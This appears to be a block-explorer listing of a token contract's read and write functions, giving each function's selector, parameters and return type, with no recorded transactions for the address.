_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 7 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
assistETH 0x00bbdb3d
No parameters
openTrading 0xc9567bf9
No parameters
renounceOwnership 0x715018a6
No parameters
setTaxWallet 0xea414b28
address _wallet
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
No transactions found for this address